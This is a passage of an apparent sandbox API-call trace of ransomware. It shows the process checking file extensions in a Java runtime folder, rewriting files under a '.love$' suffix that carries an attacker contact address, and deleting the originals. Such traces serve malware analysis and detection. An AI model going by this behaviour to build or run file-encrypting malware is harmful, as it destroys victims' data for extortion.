Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.067] lstrlenW (lpString=".zip") returned 4 [0234.067] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0234.067] lstrlenW (lpString=".rar") returned 4 [0234.067] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0234.067] lstrlenW (lpString=".bz2") returned 4 [0234.067] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0234.067] lstrlenW (lpString=".7z") returned 3 [0234.067] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0234.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.067] lstrlenW (lpString=".dbf") returned 4 [0234.067] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0234.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.067] lstrlenW (lpString=".1cd") returned 4 [0234.067] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0234.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.067] lstrlenW (lpString=".jpg") returned 4 [0234.067] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0234.068] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0234.068] lstrlenW (lpString="jfxrt.jar") returned 9 [0234.068] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.069] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=18246297) returned 1 [0234.069] CloseHandle (hObject=0x4c8) returned 1 [0234.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0234.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[im.online@aol.com].love$")) returned 0 [0234.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.070] lstrlenW (lpString=".doc") returned 4 [0234.070] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.070] lstrlenW (lpString=".docx") returned 5 [0234.070] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0234.070] lstrlenW (lpString=".pdf") returned 4 [0234.070] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.070] lstrlenW (lpString=".xls") returned 4 [0234.070] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.070] lstrlenW (lpString=".xlsx") returned 5 [0234.070] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0234.070] lstrlenW (lpString=".ppt") returned 4 [0234.070] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.070] lstrlenW (lpString=".zip") returned 4 [0234.070] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.070] lstrlenW (lpString=".rar") returned 4 [0234.070] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.070] lstrlenW (lpString=".bz2") returned 4 [0234.070] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.070] lstrlenW (lpString=".7z") returned 3 [0234.070] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.071] lstrlenW (lpString=".dbf") returned 4 [0234.071] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.071] lstrlenW (lpString=".1cd") returned 4 [0234.071] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.071] lstrlenW (lpString=".jpg") returned 4 [0234.071] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.071] lstrlenW (lpString=".doc") returned 4 [0234.071] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.071] lstrlenW (lpString=".docx") returned 5 [0234.071] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0234.071] lstrlenW (lpString=".pdf") returned 4 [0234.071] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.071] lstrlenW (lpString=".xls") returned 4 [0234.071] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.071] lstrlenW (lpString=".xlsx") returned 5 [0234.071] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0234.071] lstrlenW (lpString=".ppt") returned 4 [0234.071] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.071] lstrlenW (lpString=".zip") returned 4 [0234.072] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.072] lstrlenW (lpString=".rar") returned 4 [0234.072] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.072] lstrlenW (lpString=".bz2") returned 4 [0234.072] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.072] lstrlenW (lpString=".7z") returned 3 [0234.072] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.072] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.072] lstrlenW (lpString=".dbf") returned 4 [0234.072] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.072] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.072] lstrlenW (lpString=".1cd") returned 4 [0234.072] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.072] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0234.072] lstrlenW (lpString=".jpg") returned 4 [0234.072] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.072] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0234.072] lstrlenW (lpString="localedata.jar") returned 14 [0234.072] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.074] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=2204781) returned 1 [0234.074] CloseHandle (hObject=0x4c8) returned 1 [0234.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0234.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[im.online@aol.com].love$")) returned 0 [0234.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.075] lstrlenW (lpString=".doc") returned 4 [0234.075] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.075] lstrlenW (lpString=".docx") returned 5 [0234.075] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0234.075] lstrlenW (lpString=".pdf") returned 4 [0234.075] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.075] lstrlenW (lpString=".xls") returned 4 [0234.075] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.075] lstrlenW (lpString=".xlsx") returned 5 [0234.075] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0234.076] lstrlenW (lpString=".ppt") returned 4 [0234.076] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.076] lstrlenW (lpString=".zip") returned 4 [0234.076] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.076] lstrlenW (lpString=".rar") returned 4 [0234.076] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.076] lstrlenW (lpString=".bz2") returned 4 [0234.076] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.076] lstrlenW (lpString=".7z") returned 3 [0234.076] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.076] lstrlenW (lpString=".dbf") returned 4 [0234.076] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.076] lstrlenW (lpString=".1cd") returned 4 [0234.076] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.076] lstrlenW (lpString=".jpg") returned 4 [0234.076] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.076] lstrlenW (lpString=".doc") returned 4 [0234.077] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.077] lstrlenW (lpString=".docx") returned 5 [0234.077] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0234.077] lstrlenW (lpString=".pdf") returned 4 [0234.077] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.077] lstrlenW (lpString=".xls") returned 4 [0234.077] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.077] lstrlenW (lpString=".xlsx") returned 5 [0234.077] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0234.077] lstrlenW (lpString=".ppt") returned 4 [0234.077] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.077] lstrlenW (lpString=".zip") returned 4 [0234.077] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.077] lstrlenW (lpString=".rar") returned 4 [0234.077] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.077] lstrlenW (lpString=".bz2") returned 4 [0234.077] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.077] lstrlenW (lpString=".7z") returned 3 [0234.077] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.077] lstrlenW (lpString=".dbf") returned 4 [0234.077] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.077] lstrlenW (lpString=".1cd") returned 4 [0234.078] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0234.078] lstrlenW (lpString=".jpg") returned 4 [0234.078] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.078] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".love$") returned -1 [0234.078] lstrlenW (lpString="meta-index") returned 10 [0234.078] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.079] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=1461) returned 1 [0234.079] CloseHandle (hObject=0x4c8) returned 1 [0234.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0234.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.080] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.080] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.080] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.080] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.081] GetLastError () returned 0x0 [0234.081] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x5b5, lpOverlapped=0x0) returned 1 [0234.085] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0234.086] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.086] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xe8, lpOverlapped=0x0) returned 1 [0234.086] SetEndOfFile (hFile=0x4cc) returned 1 [0234.087] CloseHandle (hObject=0x4cc) returned 1 [0234.087] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.087] SetEndOfFile (hFile=0x4c8) returned 1 [0234.095] CloseHandle (hObject=0x4c8) returned 1 [0234.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.095] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1 [0234.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.096] lstrlenW (lpString=".doc") returned 4 [0234.096] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0234.096] lstrlenW (lpString=".docx") returned 5 [0234.097] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0234.097] lstrlenW (lpString=".pdf") returned 4 [0234.097] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0234.097] lstrlenW (lpString=".xls") returned 4 [0234.097] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0234.097] lstrlenW (lpString=".xlsx") returned 5 [0234.097] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0234.097] lstrlenW (lpString=".ppt") returned 4 [0234.097] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0234.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.097] lstrlenW (lpString=".zip") returned 4 [0234.097] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0234.097] lstrlenW (lpString=".rar") returned 4 [0234.097] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0234.097] lstrlenW (lpString=".bz2") returned 4 [0234.097] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0234.097] lstrlenW (lpString=".7z") returned 3 [0234.568] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0234.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.568] lstrlenW (lpString=".dbf") returned 4 [0234.568] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0234.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.568] lstrlenW (lpString=".1cd") returned 4 [0234.568] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0234.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.568] lstrlenW (lpString=".jpg") returned 4 [0234.568] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0234.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.568] lstrlenW (lpString=".doc") returned 4 [0234.568] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0234.568] lstrlenW (lpString=".docx") returned 5 [0234.568] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0234.568] lstrlenW (lpString=".pdf") returned 4 [0234.568] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0234.568] lstrlenW (lpString=".xls") returned 4 [0234.568] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0234.569] lstrlenW (lpString=".xlsx") returned 5 [0234.569] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0234.569] lstrlenW (lpString=".ppt") returned 4 [0234.569] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0234.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.569] lstrlenW (lpString=".zip") returned 4 [0234.569] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0234.569] lstrlenW (lpString=".rar") returned 4 [0234.569] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0234.569] lstrlenW (lpString=".bz2") returned 4 [0234.569] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0234.569] lstrlenW (lpString=".7z") returned 3 [0234.569] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0234.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.569] lstrlenW (lpString=".dbf") returned 4 [0234.569] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0234.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.569] lstrlenW (lpString=".1cd") returned 4 [0234.569] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0234.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0234.569] lstrlenW (lpString=".jpg") returned 4 [0234.569] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0234.569] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0234.569] lstrlenW (lpString="flavormap.properties") returned 20 [0234.569] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.570] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=3928) returned 1 [0234.570] CloseHandle (hObject=0x480) returned 1 [0234.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0234.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.571] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.571] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.571] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.571] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0234.572] GetLastError () returned 0x0 [0234.572] ReadFile (in: hFile=0x480, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xf58, lpOverlapped=0x0) returned 1 [0234.574] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xf60, lpOverlapped=0x0) returned 1 [0234.575] ReadFile (in: hFile=0x480, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.575] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xfc, lpOverlapped=0x0) returned 1 [0234.575] SetEndOfFile (hFile=0x4c4) returned 1 [0234.576] CloseHandle (hObject=0x4c4) returned 1 [0234.576] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.576] SetEndOfFile (hFile=0x480) returned 1 [0234.579] CloseHandle (hObject=0x480) returned 1 [0234.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.579] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1 [0234.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.580] lstrlenW (lpString=".doc") returned 4 [0234.580] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0234.580] lstrlenW (lpString=".docx") returned 5 [0234.580] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0234.580] lstrlenW (lpString=".pdf") returned 4 [0234.580] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0234.580] lstrlenW (lpString=".xls") returned 4 [0234.580] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0234.580] lstrlenW (lpString=".xlsx") returned 5 [0234.580] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0234.580] lstrlenW (lpString=".ppt") returned 4 [0234.580] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0234.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.580] lstrlenW (lpString=".zip") returned 4 [0234.580] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0234.580] lstrlenW (lpString=".rar") returned 4 [0234.580] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0234.580] lstrlenW 